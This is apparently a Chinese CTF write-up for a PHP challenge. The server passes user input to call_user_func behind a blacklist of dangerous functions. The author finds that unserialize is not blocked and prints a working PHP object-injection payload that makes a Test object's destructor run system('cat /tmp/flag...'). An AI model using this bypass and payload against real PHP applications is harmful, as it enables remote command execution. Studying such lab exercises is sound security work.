点进题目之后就是天皇(bushi的图片，查看源码，程序设置了一个计时器，每5s提交一次表单：

    1. <form  id=form1 name=form1 action="index.php" method=post>
    2.     <input type=hidden id=func name=func value='date'>
    3.     <input type=hidden id=p name=p value='Y-m-d h:i:s a'>

    从字段意思来看，后天调用func，p作为参数传入。
    尝试直接system执行命令，但是发现被过滤了
    image.png
    于是选择使用file_get_contents来读取index.php的内容：

    1.  <?php
    2.     $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    4.     function gettime($func, $p) {
    5.         $result = call_user_func($func, $p);
    6.         $a= gettype($result);
    7.         if ($a == "string") {
    8.             return $result;
    9.         } else {return "";}
    10.     }
    11.     class Test {
    12.         var $p = "Y-m-d h:i:s a";
    13.         var $func = "date";
    14.         function __destruct() {
    15.             if ($this->func != "") {
    16.                 echo gettime($this->func, $this->p);
    17.             }
    18.         }
    19.     }
    20.     $func = $_REQUEST["func"];
    21.     $p = $_REQUEST["p"];
    23.     if ($func != null) {
    24.         $func = strtolower($func);
    25.         if (!in_array($func,$disable_fun)) {
    26.             echo gettime($func, $p);
    27.         }else {
    28.             die("Hacker...");
    29.         }
    30.     }
    31.     ?>

    基本上逻辑和猜测的差不多，但是发现有一个类Test，而且注意到上面并没有过滤unserialize函数，并且类中的__destruct函数调用gettime时没有过滤，那么只需要调用unserialize函数，并且p传入构造好的序列化字符串，就可以成功getshell。
    payload：

    1. func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

    最后没想到的是flag藏在tmp下面，也没个提示。。。